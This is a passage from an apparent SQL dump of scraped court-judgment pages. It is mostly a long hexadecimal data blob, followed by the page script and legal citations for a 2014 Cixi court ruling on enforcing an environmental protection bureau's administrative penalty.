EF4CD11383C826FF1B7BEF45F8DC12B5F7978CBFA3326C60B1F7DE0CED7AD602BEE35FB0C4934F193A88681EDC5A3610EFF05CEF602FD7F7010130718515E1F166D8AFF70374EFC5867E990C8E0EA558ACD73C1003164371C79AF566BC49608589E163EF4DC03804A04545322F8CB19BAD7D54F130171C0B02F76A1F3A8459AF0998D7D919F4786F4265688025DFDE319B1C2F5F03F3E25F07FE1D0813F6DEE602202A7756472DB5C8263C176348A1592388F022C545886FA876F7B0ECAE2157249C5054F781576C0E6F022F89AE7D0908C126CC3BEF6216CAD658ACFF1BBD5B53C522C4366E53CF5ADA3BC4DE7BE57F31855762807B6FD254138A28BDB771BB1C4350037350F4F0BB7DDE9B148B6B8A2D0B976FC28BF4E81342728D65E0BBE1F74A43F01C431F4501E9A721309B333030C06F767891110D30F20ADDEEFE09B41375A1E012450358F90F47A7537B93DEECF2236484DDB9189192C1D2912E7CA1FD63C063DE1BF302EE4F1D743B07B1DEDBADE4F01B8C3488C5DEB07AC1DF4E2C7CEFCD4BE7BE65895A43D9EB45D880B88BC6544A7891DEA490031AD51ABAB34D5F059022899A7313DEEB6D2E98B469A5BC5E8CD87B492B045C47C6FF88F57F54D47163B8747F7666F59AC1E6E8C09D5F7BD483203C8604AA0A6AA459A437473AA908F5AEEEFF9025477D18B0F7A5A445390E7D5BF7D584581188DC3ED607211689D9C200ADA32BD28B35A8EC05DB60DA787B28370F00527D64B3D9476F5804265D584E8658ECC57898B5E49EF4B6E50ABC74994C9B6B022348FCFF33E915EF0F4FE916F343F7C89CDBDCB1DE8B31B4338B3823D21B02A4AAAD5E77782C1E54F91B61F791C0E2A4ECCDDE848F44059434F022CC5ED50E7DE7E0E5D6FFCC1D6A63143C4403B2AC738DF77460C58861B973EE444504668772FF70DD9BC49B3A0B31781675E37DF98564158583F7525B1CF77A5B8CEE22F6823007DCC7330EEF4DB44881EA49B92F1776971B5AEEFCF479A8F794065C6C56EC43F33F4C258B4D98F08968C3F618DBB7F8D8F37D2FFCD32689F73303CAFF84F75EA4CA146D746DA5824D68D6ECB8D3B5BBEB3D109FD81FE813CE831FD28BD468E57784BACF2F092D6935A650ADC384192F688ADFC92D16CAF7E058436A93E0233683DD9B49F70ECE39783BC520D68B043DA2BF179B35BB6CD11F50F9D2AC73AC13A0D5E85248F482312BD460161F664C9A501748851FB393663CFE1FB71FBBF7174F6417E66EC261599C5E651F8DFFDE7BD603A7D3F116C8B3D7FB6660A3C9382B4BBEF5EE108CDE0B47654228184C98DCB610C21B6745341AAD22731FBD5658ECC5DCD14939FC76B91126358B9F18A368468408A70937F0221DF94943F76F2F6C179B149B2407CD32A0602E19B34678243EBD18CDFAADF79A1794C17A4D2836E1B7CDAEBAF08BCDE816B07EEEF396AEE103370E04130560D894D3BC043378B31959EE53B598711816FC1BCBB0ECFE4DDEB6151E33133CAE435419269662393A4AE1E022C466B823479E1568F6DEA4E039A6AA1B1FF843D57501E080956B3C1EBC14C0AC7F13E37D6CE01F1AF75B5F15CD664C9A6C34F08DDECC0DE38CC54D2B263AD815D83B7D7D40C33F3FCFF60EEF19AA85BC45809346B1D8611BEDA001E7C67F6F420DF189622FCB317323E105E1C1F7124147FD5A194120C27CF5A79AD18BBD62615BF6E8A75A1587FCF7F796A09805E3CD2D21FB9326C48ACD39E8E98BAEA5FECD1E6370169373A16CD76F42306276A7564ABD178B4926279395F5FF0C662EA77A90D81A1D161BE91D34102376D71750CDF7386B616F359BF5269E4E4B750E02139AE9A9B690AD63D287DFC443E17D84D0F30FB4315E88D58B31109322626F16C1FBBE8818C3F587FFF77D25737D0B0DA553F726070A6F168BD96143CD07C486C07B4CD03464FD36FC62D38DF714CFC6F681F7293161C2C10AD0BB0BE130AB6001EDE86A7F0C983547700FDD304D64B3EF995A6C05801984A45FBD48B309D76A3F12DE8B709A56436FDC01BD2FF40F2E44B3F910FAB3F7A0941C66B1178BF6BA0C6EAF845E84F7CF5B06213C951FDDD13552F395CE76A81623035FF1DA5F636E6211626F3EDA9BD1BF370BF6F3A25B156FC4D95C975AE097AAA0F053B0F7FDD844185213969B5E6308CC38DAAB960346479834F083F9174786F12ECD3323C17B66A084D90CE7963B7B7208482C89581C92A5B95D2FFCF19496560F5BD3F1099DF7CA8B08C673EF743567BE2337246293ECE7D9EB3FB81581CAA0D888BE031D0CF0A6A93C66F77DDCF7934D336670CEFE90ECEF21484C7A539AF087FE558B3569383D7D4B1F7A9AF14E9789F79783ABBA821B5611E4790B3493661360CE28662B6CEA761305538B9E394F2A669B522F7687CCF7B1B09098BA11E0346BF5CC9ABD37A360DA6F5F937680BBFE7A5CF3EBDBE41EF755DEAAC982596F6F4A8542300A52815EAABCC4462C4B2FE351F36C7FF7DEC1356464E0892F4022786F063C30991673BB9B40326A85ACF3E027384E470E56E598CF3B074ECD8220F03BFE4B33177BEFDCC8D6E11A970518A34924E5574C26B0E17096D63E9C2709B164E0BF09BFE44DEA058997413CDDD05A275A15607E606D15672C9EDBE84954D907871A788760C073ED31318119939BC052D9F5C726CAA61D1EA01D3D43F1F0DF31E1B45115730B39D99BF1820089****DB059B7480F79E965FDEA27529E002B7F371B8B5F7EE6705931A06DE51F726C598E94A5338EA7698D4847C8698CE36DC48F173F90F4CC691D45BECBD59119793769F498B11B358EE53E314055C9F1040BD3613233F0931DEE3A3F7A77A15E7D2BD6030A9C7E4341D464CEA61D9E1508A03B88385F7E380245993E24DB3F31230D84B46B3491F50AE06B88DFFB924193B507C3C64FEE5C811F5269C20F156AA6956846131615E0337F02231608A7AF37973F0CC2D4EE434A17B3498D010860DDA3CC6A43844921FF68E1B2E7D08AD4D68DE3C8410283CA45CC385DBE96FFF57C00E1B178C6630C5444ED82C88BDD7901466C03738BCF638DF6443FC644532F5D644430233F7437BB948EFBD20943A8533AF6F594C2064D0BDC41D7D471C7D5EFCA5432145BE92D810308C2AFB24F97F26CC3A211F63FE5DD81D86F4E44D4D007540CF6D74254A035476D3437460D2301EDE519B48439ABDD4CB5B64C17CF1AB46C35C7A85145EAC08D22301D9227678CC263D21D7D7AF59C3C9C1BDF3582476E583092EB057800AF70C46BC032E8A79B78C368B30217150699727883123B9364F2F98DBEA7D6E8DD4044FB78549919811C0E472179B4D88BBD990982D28CFADEBCB17CBA28C83DBE045101BA3D40BC01046B166C5EEE06F0C0E3148AD55AD5D9AE03078D463EAB405C922594A5C20C6248602BE44D2845CB2DF5654C88ECB1B78E3CF3FFEF11F239BF77B1366CCCC0F7BB580A36AC26106A7F17F82BB094153630A7D58438E0E765CD1966FC778D0A4EA3198CDA0084FE5A3458449CD68DFE6AF23C4668292841D05EFD186C6894E2EC069E6C7564C7AEF313620C240C220CC1864216368CA1B046BAF57F75A4F15B3B801B023F7A58A52ECC59A565A95C5196C06450A43B4118DF801DD677D7C7D70049B152142A24426DA10B32615C5D6096EC29B888C3822A2782F46A97D0C01712130E9CD20204A01DE9B31A36C423DC81F18830D00F095956D623B9831090C0AC0F4661362443F3DE858527F6FF614235FAC1F3C1FBB5E6C66F817ACF79E113C7D01B39835AC000FD7F87B2F58F6109262049169E6D7003BD3692773620A1DFBCD8A14EEBDF79B0585A2BC0910E1D009FEAF937A136622E618D37294DEFE7D7ADFE21F250347102FBB8CC574822471C8DEC73089D8EC3405DCCAEDFE2109C4792F5615165A0F1537D1AD73E30538C8BC2C321F6852102633A4C526D17B41BCB1173E35FE59F4FA0D51E90FD1A8512F1C42A4187DF35563AC372359FEFB1811E64913DEAEEF505DC3EFC5BAF15FD57FD6356BEB2639DC972486455BA3F4F02630A120354CACD9A6E98DDC43387FE9194D88F0DE6DC6431370784BE21E001165862D5E2AB7463D637382B3EF4D0037E3F7EF5F7E26A366358126049C32BC211084AD8E0596C0711219EFF919A084430BB5B011B7E79BD30BF65EC641DC579B181366BD50BDE6CB245C0D3011B5CC587598117370F78709626FDEAC6674A1C0FA5A9F15EFCDE4B8E54F153C09164BAEEDF82B4749E01319638D109B34FBF3F7D64BF4F4548466BC60D25BD1F88BF782D52652EECA2FCBB68478B0055380A0F729049800AF3367C82260D22CDE484B515731663396D730FEBD5D6755435D82F0F745D966BC77886A223A9A6360C27B136E131B8356AC22CD39ECB2AE8CD3A9AEB79BDF83B752C3EAB01D721BBC20506C186C95588C3A180F6C4398A749C5DEA4356CD8D37533DE2382940E0E2F516EF9BFC67960B40F79E0B871E1B477CBB30931984FC914C68231844992967BDFE20FCC652B10F01F167A42F79423EA0D6906D7D40BC20B16CD4407D3B5C1A41763314A9639D8E8235CD473D453F2179246BD17E97D80C270F6B0EACD4ABD1E7BF186FEC3324D64C3F113995A64E3F73A6C42848621B99A3B10E81D5ED74A8BE06E450842A9BB47855216FB1686012BA1F71C679D6622584D20A304108B51C391BAD6C1DFC5663FD67F33F14C8957254D18B198DB83F2D7C981ED5F0C62C18A2C0ADB057F6FD88824EEE17D47AEB712DCAC751473A40283F36A5E0472CFC5F795CEC821045810CED8FD63A2CA08C45E8C8161B0F9B3BB74899B3C5E42AD334576076F323624FBC763A36908B1608DF8EE56CFF5CC3DF363828DF7145C58617560482095E5F18251B1D7D580F4FF0C98B2E1B54F2E43707D6C80F7A8A25934CBCD09B182C18BCDA2332A34267E5833AFF5635CF3830FAEFB2C00766315CFD0C9049B4598402B5184E2666F08C0A94C922F980093A429C7A47855D76B1BEF1723184834295841A96393663C2031359164FA0F02FD797A5A72B5F7189B3A0C8919EF7E5D2CE966118966B906CE8129D224A2053B4372B7AD7CCD6A2BF73B17C320458409D6E99562CC9ABD43070F3275032EF5C42A917D6F5E8F66C08432678E18908A0D2CA1C87D7E12135E4BE60B7D337DD13D82F00D3DDBF73EA0A5A5F462B382A808B706B8090C8B43147E016DB0F5013623C903FB239A508448EEAD9A7B6F124CAC75795BC60D332A16916ECA7A70A54D949788256ABB09566C46450507B3EEE2C55E2C0483B90663D45D300028DFFA8DF19E36E30D81775D43622BC08417615CD963EDA0C786994913501ED9B07FB3C32159002E7563AC1846672****AA85BF1BFD89481FF1F7DDD531F253D00A6056A05315F2C8AC5DE8B30474192CDC690E2CDF00665BB213810299407672348F4742723EF1BA2B717A16031005B97CC6650B0FA1646305B8E7E2CF3BF38C7834C98F409874BF7207042106A5834535121181161229DA2A5FEC6C7E254DD11D75F1B4A5AD97B2E08AEA035D032748166048BD87FDB934DAA09F4A5344E2D81FB6CC1528E0B933277213619CF48660C908CD6EF4D8A3700B40649134AE562EF4AF4DE41B1488FB1E9028B080D2B880A013842B1086F539D2A0AB7C4373C4F19ED501EFC01E0F030F3859B34E3BDADE9847ABF54E4E11416FE117C03F79B76E0F10F006712F11713097827FE02F7B893FAB977DE840905679B0F63F06693938F6452500C6CAAE154F34D07B5E9F73D0949B126CDB4959E3D56BC09BDFB065FFFC7539F1D130704206592AD2A2F967B0B061EF74C072AF52118F662067F7D6449106B36D208B2567B818657F44E1D121005451D9201EE21DB4385DC6A428498B3E2F177B349CC250F6E02F19FFCDEE353FC61A750F3A6BF8CF4775CA52C98D510A9DC4118132641E9F0E10A4A706C91F772622858B95F94D81714F7060A4FC6AC5831453477AE8C620469902158BCF75D103AA9ADF744F33B5818362B5659FDC3C28B0D01389783219818E96056536D27CC6A001FE7736E6E6052CD224CED39C5247841CB8BC9BD83FF981FD0DC7614F3CA125F76F3EEA46161D806F719EBAFADE2F09814349E4A0C295693DCBCCCC243824D720893A500BB58E2C57A3032A7CCB8C62478C337DC4D610BC67B6E8A019FCB418A9D38723BB72203FE29C4AA19C157994C4931107839E5BF66A277D511787376F76E5B73B1191128491661B3C72C7A47C5AC197DF54B67F2E9296A5103F143588F9B100347D063009F615284D8FCE330B0549018D6CB13FB9B4ECAB870FCFDF12F5AC135F7F8CE1A76189664BE433683D92C78A6F203DBE8592F46AD7DBD6A5C023DD47063DDEF4DAF9D3D5B65876405CF09696FEE34816011B1BC33DE8C083910EAFA0EFD974B8131B7DE1B14D253F336936015A459B81CFC7366C4A4264E09C63F660CA9284A0F1D6A99964DF01B1DF71BF7BD8FC48A66C10082442BC600438AF736396FDFC50C66290A510FD1205CF71322528F33BAEDBAA3DEA409ECF4E46466B9090C7957C3ABA352973FF910467D450F01B35EB017977C95AB491326759213CA30097804C19D4234E2FF337D0B4F2A8557F7ECE4D89A01CFF110F7F5BB2AF532604633FCC78622592E56B61F16E0A996FADA5C08A4B570358B26747096664930AB59C1E4982C193581CA299257AD5941604F54C36A46B1BEDF52CDDE8B00A573D4521C2C3CE11E175B12DFE4BAC609EE1695B439FAF77A41BEA95EB020A8F2A58A3469363D193846A59AC5AAA726BD307BA7E356BB6B6A45E98811A4266FB21E20BCD790D9EEC41A8D5B8D87127C27967DDF2CF026F06ED0CC874654688409C3E0972F4E97E2329851D214139C0B0D9AB4BB79DD08C3EC4D2A2696A8B1BB88C52654AD1E7B2EFC49CD1F422F521D3303117807EA90C2ECCCAAC75190D69B45C9DAAC2E4943300E6FE97801DD230831F8A9F7999B70B96166D1B0370F2A4A1328D2B014BE16AADCF00264F37887981D001F23F6DADDDFF3040CF7CDDD332A19C166D4D2D1EA7AB366BD6531100E03DFA81BF81562228B5C51F7B4FB2645983DF8B506E8732F49E1557F8A18A7C2BF98301AA272767D239AE145C7D2533F10B32F6378EF4D881741E3C23C2C16AC6697DE0F6DFB5F3CC23DF1055D5E93F1D8E9E61E0726C56B69F341FF0C73BD213123D9E2C442BC179BAFF7941F5E7DA15C78036720B517B00D4F6D542C8A5DC208587817FBF3701326D171FF05984D62769C8E5C4D7CA3121154589C53F7D35E84198F19CCC1DCE62630A45E8E53D6550CE3BDB11C42783143838681856A252918D20C79C608D1A4593423470506A3264783F46DBD18E66F0902436ADDF7C369A4E104139A03768A208605EF30B321FF85E5528C4C8822277561E576004B9423BEE6D7D39BCD2082536EFFBB07080231F2027F122240EDD314A67D66DE174C20171BC91BF9A660CD6A5663852BC586C1ACD20820C4C8828B5C0117633659100C661578A2436046BC05BD81F1438C091EBF6B8D89BDBDD93BB0B55AEE2D64C4A2D8248A753A35D76F42CC1E9C4DF7508A5DB4B463F34CF9FC7ECFE7A696B166C4704993BA9BCCCD6605A6746019E2B3E831BE9A1D62D3462A1360A384A3B9C998900911B8129A3D6A56E63514FF62040C280557FF67F7CEE7C3BD107970F7BA052513D60C6058246EE4056976185D9BE0C101A5C206B18BD730DDEC7C53F78EA7C0051370085292C60011AF0E31925BFC32B15965E1C850077D725DC7CFA966C0AC0D104402B3E80500DFC7D1A3626FCAF9C98421E4D88F92E3A9970E66B3801704C43FB92034813FDB200E5D0FE346F5DCABDDB8E5C40B4693A5CD7F4D78C99A86453B2DBAD19162EE3B56F3D463DF81DC973F90F7033F55F79D83498D7AC18A0DD4CDE56A484190629EA49FC14D2E555ACEA91B4AE10561D29DB710DE5EB28A34D1465CDE3CC9CDD3A1C2E9A72A0FE0DC531DD08D95E14EAD4AAE0EEF0DA3B355488B4D8859CC561393AB7044E0178DF77D20C5CC46B1AD1493B158C3A03912C92B36AC59AB93128CC9D42C30A911B700142FC29B31AB3843C1A426CC62DA10F77CCD62C53F685B5A1EF757F1E44D9800CF4C82EE96C6A437C930B032F4F63F56387AF305C06D45BDB0F7E02236810C91E63D048244B0EC4ADDEA958CDE83389207E8A81B4FF734DB27CF2E3366CC629DEAD7764588BD604904E54297B6B7381450431F447ADD2BF1D71A46B378C9D639D061524CB6E144463183823168E20B9F966A745E2A5324D75B2A865BE8241672FAF0CC7D64C1EA4DDF09737C56CF0583A416CF0345071D6AC54FA5C56289B8E2103103955CE94D9A116A80D500C368463030BAD3846644D6C8FDD7DD025B720242E7C741F77487D39326CDA04DE866D98C1846441F13D104FCBD4B60761E7D53A35E2453576EED35292A108B62CDC8FAA95213081251B091426C33180140728A6661F8ED7D1CD4601F50F7E1F382611214AC4092152486410428553B4A6FD20C1EFFE4F1BE318BD9EDBDA03F43A91770CF69568421799BE66911849AC4DA056C14A966C8347EE35865EBBB15F70AC251CB44D990726F4409553966BC17A415415E9A96DBDFFA78165216934F4F2E734A44B97FD5EC10B75914A3D98B8B1911825259C70A9FBD4935075721F3290316350B1D3B4421141747661561A9620BADD526307B110E77503D3F6C08F5654DBE7D70B0756CC6EDC244036B43DC8A1ABB37031287195009FA4BA4593360104C2D3E158F1475F3AB7A63650326E8AABB10045261FC33C0A06015865526B990070E4324282811EFC526545E6914AB0F51180400FF25A0822D5520A498674B9E07C508901138FBDAED7FC204002000808003042001060007CE35F3160680040401021B86C59A730E0A1B2B30B9AD39F72A1D402A01001562CEB9D73A80020F38222874049C00910A04CAA7EA80FC3769B0360BD590005B1748002C55FF8E894DE88155A4327183BEA1FA235E315DEC8D4D904975390145A8BD776BAAE1E90B551B61867BDD7BED986A41BA88201900B9EE39371A9C8D8A20EFBAE7DCECC0189E0DE519800EAFB977C6B30A0C1B7D1ED91E0B80B13C8036339834AA8DAA55757784CB0A783B5C5F9F8DBA7E6EFB9190F03835383606D82AAB66767BEFECF07B3F8304A30E880EEF3D3777C18887533D173BC42283DF1A2A3DF762CF0EA92E48A3A07203E08D4F80ABCC5AAC23CC861C3494228322057C54D533D0AAFF370889D4836DA833F75DA8FFB5BC7691AA9B8F45A050994A853037E134ECBA5C94DE00FFA6F70ECFBD88A80AE8908C8BBDC7848344D62EEFDF7B6E16F1271326B1202FB8D87B5546B96DF5FF75D07F23C0747CA82C38346832343537B07755E760606A0001120C73B97B46FBB8345B33C9E97A17C1874384D8521FF2C87807C37B991444557AF1DE8B4580C1BA118D7788C5880A35BD724944F01E87872D4241F000D0A989E983E1D135FE5900815DD4A4019D1F49E1300360D0DA5FFAA0A375BC38333732FA380508F8823FB9299F819D58814DD8373784B1BB06C3E4C067EC04BF043A84201DDE8CD03E6E47ECBD58032419DBE578B3C3A48274EC12BD18B177A9DD10D558350836F70F838470C410219700FEAD75E46A37DC6D8489E0877BBC314EB83736BD6CB852C02914CC3861F72F04FAF4314DF80175F4B250B1CFCD728717AF44A448DE3BCC2264C36FB203BD779AC527A57ECCD6E13DDF8B0BA44580801A98C50A983582D21E16C0AF7E93B835B438310B47BE0025354E819044A120593F2155E8659408BB5F3E3537318432333635B76C0B115EB11887F32E6F317BAF1931A295CECB1A8CC321D25E6759C1263D82C026B902383C9EE90620E52C077F0AF80A49DCC775803281096F155A14463A095DB86B80ED353250A04921D0FE3762AD9EE52832017DEC8355CC36313823C231185B4D5E01002FF622CC87D9A77AAF638F177BA122A7A7C420DCB0777A150A92CB908AF0DEE9C600BE43B3B8BB25D92A5C9333319A353333B625157C5A5EEF58D3BC015F5F53B50C38FD16DD0C73185A20E6B952381C5E8C2E916B285169C23B4C4838BF3A84D8736FD6D10807E6E063C68BBD0A0FBA20C68057A4172DC3F18815B984C8D8DAADF335C61BF8BE06884D00360A01C2F71C1964F7BD52E952D963A610AC58A79DB24C64FC43B1923083C31F48401C66BCE781AC9BD1FA358CF7269DB9C1E96F1211826D9F06D481C06C7F0F506A388B709964899764679707B4A480779C4F60423734373314566BFAF5318D73197DC784D1540E014B8D3AC390CE7AB326FDBD70FC71D19248F662CC4B02CCD78C482F766887A0844A62B3F75EA610202ABB10DE7B3D5A4DE82433239F476244C2A43134C0389CEC5C0527F49FDA70578D603A93780F98FCF0DC0A7051E1D0323420193C9E7C7F860058B1D39B75AD24BCAAA6EFC51812C55A02DEBDD72C12EEEC80AFC40E41E0F02EAF59023E087E70838D0429010B10371D55EC396040502218A00106418B84516369F1D3B98678ECCAD9D8FF4D94A513626C95C466A581A362BD9D8B31A3BD71B767498BCD70B3CFB5D6B084C466B31783A01EB884494C3A5ADF2B67D969E6DEBF0139AC140E192C82FB3032808814E08C586916DA4D9BCA76A9346035ABA04070ACF73BE1399E11F05753CB683550601CA9DD256ADE68E0A9646AA7318919AF36D1CE6F081D82415022069B8DF44EB5061D00B9332F166BC6768DDEC905B3081615E6072FCA1B80313832774F6F6524824531A78031BDFE7AA17D1611239CD0F79D872955AC46C164129410929250F0B935FF37E147B022EFC353AE2004F9182358EFB904D1C631201DDE8417E3AC9F7E6C48BC19D42C29C94E38CC5CC7CD8A9D009831C9875E60EC24D6B3204E14B429B4F397A482D08709839D2C0ADFAFF4115598BEB78195E637085EBB08DC127D903BBE7CB753623063E69BA547A53BC4E0BD86D85492878CD824DEE5EFD0FC7B4418D67477493C114C98D00006107C207854BC8857F1137F763638FF4E08FF852989759C5B04EDB2E0E4E038CC2F14ABE02B20AB333B464FFAE45001B554B76AB6CE177BC5081A5AC49FF49A0589C6A6626F1611228A61DE2CB386F15E98B05DA86F489D624049307B43C176788BEFA388B6B076BB0D27F8BE680404669C952D0962647CC4241C2036729C423226B90987672A567F244A67747AC9885D09BA98D20C779AAF96B546D8201D9E0B9B3F94A3DE0466B1D8A8343706E3E404D14031AB3242C493AFEE80D4320BF2B521811FF413288CC9FC2870E826568C34ABA42670643177E6C6439B3584D3774AF6B58C19A7C38EB13620313BBD434BDFE4009AF1DE9B33FC3517F989BFD19397015D047DF0816DE4384A6A41B4BA015584203045F06F34B0314DFC894D888D85F822D8DA22505772281138B03347281885D3A47B6C220483088E43CBC39AD0ACCF1C344178BC0305BE0E75BD58C10EFD8B402F52B149EF2322DD34DF9F81F66F7458C0525781AA0C5F09248C82CB1E06A13386D136320ECC882C828F9E0639534AB317895DB385C2E101AA89C36146035CE617468C6634ADD21C4816432A73BD7B6F09F020DF221C224B888835451E15640C4361D65C422EC067F76A3153C2734511D1B850763738C52786458B9609E74762ECCE02D670C25AA1B478B159935C0F83D2E14D88F49C8F671D86663C860D2F2359E1CD28F6D4EF4EF4887A63FBD95A81759832813109EC29BD7A44BC7E6D297DE8ECC8CC8D4BB8201075DC1F4CFF5E929DD9CF40CC595BB5358359EDAA5D451E6F6241C62690718081A48235033F5BB593DE2CC6DE13AD6DCD08487CCE804E4580D6D93828A2F0F20067DBDD59F4578B4B13AD14696606A','2018-10-03
20:30:01',0,'web',NULL),(38625720,'2b99bea7-8228-4ddc-9ca9-b7ef90e6630b','$(function(){$(\"#con_llcs\").html(\"浏览：0次\")});$(function(){var
caseinfo=JSON.stringify({\"法院ID\":\"1079\",\"案件基本情况段原文\":\"\",\"附加原文\":\"\",\"审判程序\":\"非诉执行审查\",\"案号\":\"（2014）甬慈行审字第533号\",\"不公开理由\":null,\"法院地市\":\"宁波市\",\"法院省份\":\"浙江\",\"文本首部段落原文\":\"\",\"法院区域\":\"\",\"文书ID\":\"2b99bea7-8228-4ddc-9ca9-b7ef90e6630b\",\"案件名称\":\"慈溪市环境保护局与崔福利非诉执行审查裁定书\",\"法院名称\":\"慈溪市人民法院\",\"裁判要旨段原文\":\"\",\"法院区县\":\"慈溪市\",\"补正文书\":\"2\",\"DocContent\":\"\",\"文书全文类型\":null,\"诉讼记录段原文\":\"申请执行人慈溪市环境保护局于2014年9月12日向本院申请强制执行慈环罚（2014）第100号行政处罚决定。本院于2014年9月12日受理后，依法组成合议庭对本案进行了审查。本案现已审查终结\",\"判决结果段原文\":\"\",\"文本尾部原文\":\"\",\"上传日期\":\"\\\/Date(1452502418000)\\\/\",\"案件类型\":\"3\",\"诉讼参与人信息部分原文\":\"\",\"文书类型\":null,\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null});$(document).attr(\"title\",\"慈溪市环境保护局与崔福利非诉执行审查裁定书\");$(\"#tdSource\").html(\"慈溪市环境保护局与崔福利非诉执行审查裁定书
（2014）甬慈行审字第533号\");$(\"#hidDocID\").val(\"2b99bea7-8228-4ddc-9ca9-b7ef90e6630b\");$(\"#hidCaseName\").val(\"慈溪市环境保护局与崔福利非诉执行审查裁定书\");$(\"#hidCaseNumber\").val(\"（2014）甬慈行审字第533号\");$(\"#hidCaseInfo\").val(caseinfo);$(\"#hidCourt\").val(\"慈溪市人民法院\");$(\"#hidCaseType\").val(\"3\");$(\"#HidCourtID\").val(\"1079\");$(\"#hidRequireLogin\").val(\"0\");});$(function(){var
dirData = {Elements: [\"RelateInfo\", \"LegalBase\"],RelateInfo: [{ name:
\"审理法院\", key: \"court\", value: \"慈溪市人民法院\" },{ name: \"案件类型\", key:
\"caseType\", value: \"行政案件\" },{ name: \"行政管理范围\", key: \"reason\", value:
\"\" },{ name: \"行政行为种类\", key: \"reason\", value: \"\" },{ name: \"审理程序\",
key: \"trialRound\", value: \"非诉执行审查\" },{ name: \"裁判日期\", key: \"trialDate\",
value: \"2014-09-12\" },{ name: \"当事人\", key: \"appellor\", value:
\"慈溪市环境保护局,崔福利\" }],LegalBase:
[{法规名称:\'《中华人民共和国行政诉讼法》\',Items:[{法条名称:\'第六十六条\',法条内容:\' 第六十六条
公民、法人或者其他组织对具体行政行为在法定期间不提起诉讼又不履行的，行政机关可以申请人民法院强制执行，或者依法强制执行。
\'}]},{法规名称:\'《中华人民共和国行政强制法》\',Items:[{法条名称:\'第五十三条\',法条内容:\'
第五十三条
当事人在法定期限内不申请行政复议或者提起行政诉讼，又不履行行政决定的，没有行政强制执行权的行政机关可以自期限届满之日起三个月内，依照本章规定申请人民法院强制执行。
\'},{法条名称:\'第五十四条\',法条内容:\'
第五十四条
行政机关申请人民法院强制执行前，应当催告当事人履行义务。催告书送达十日后当事人仍未履行义务的，行政机关可以向所在地有管辖权的人民法院申请强制执行；执行对象是不动产的，向不动产所在地有管辖权的人民法院申请强制执行。
\'},{法条名称:\'第五十五条第一款\',法条内容:\'
第五十五条 行政机关向人民法院申请强制执行，应当提供下列材料：
（一）强制执行申请书；
（二）行政决定书及作出决定的事实、理由和依据；
（三）当事人的意见及行政机关催告情况；
（四）申请强制执行标的情况；
（五）法律、行政法规规定的其他材料。强制执行申请书应当由行政机关负责人签名，加盖行政机关的印章，并注明日期。
\'},{法条名称:\'第五十七条\',法条内容:\'
第五十七条
人民法院对行政机关强制执行的申请进行书面审查，对符合本法第五十五条规定，且行政决定具备法定执行效力的，除本法第五十八条规定的情形外，人民法院应当自受理之日起七日内作出执行裁定。
\'}]},{法规名称:\'最高人民法院关于执行《中华人民共和国行政诉讼法》若干问题的解释\',Items:[{法条名称:\'第六十三条第一款\',法条内容:\'
第六十三条 裁定适用于下列范围：
（一）不予受理；
（二）驳回起诉；
（三）管辖异议；
（四）终结诉讼；
（五）中止诉讼；
（六）移送或者指定管辖；
（七）诉讼期间停止具体行政行为的执行或者驳回停止执行的申请；
（八）财产保全；
（九）先予执行；
（十）准许或者不准许撤诉；
（十一）补正裁判文书中的笔误；
（十二）中止或者终结执行；
（十三）提审、指令再审或者发回重审；
（十四）准许或者不准许执行行政机关的具体行政行为；
（十五）其他需要裁定的事项。
对第（一）、（二）、（三）项裁定，当事人可以上诉。
\'}]}]};if
($(\"#divTool_Summary\").length > 0) {$(\"#divTool_Summary\").ContentSummary({
data: dirData });}});$(function() {\r\n var jsonHtmlData =
\"{\\\\\"Title\\\\\":\\\\\"慈溪市环境保护局与崔福利非诉执行审查裁定书\\\\\",\\\\\"PubDate\\\\\":\\\\\"2016-01-11\\\\\",\\\\\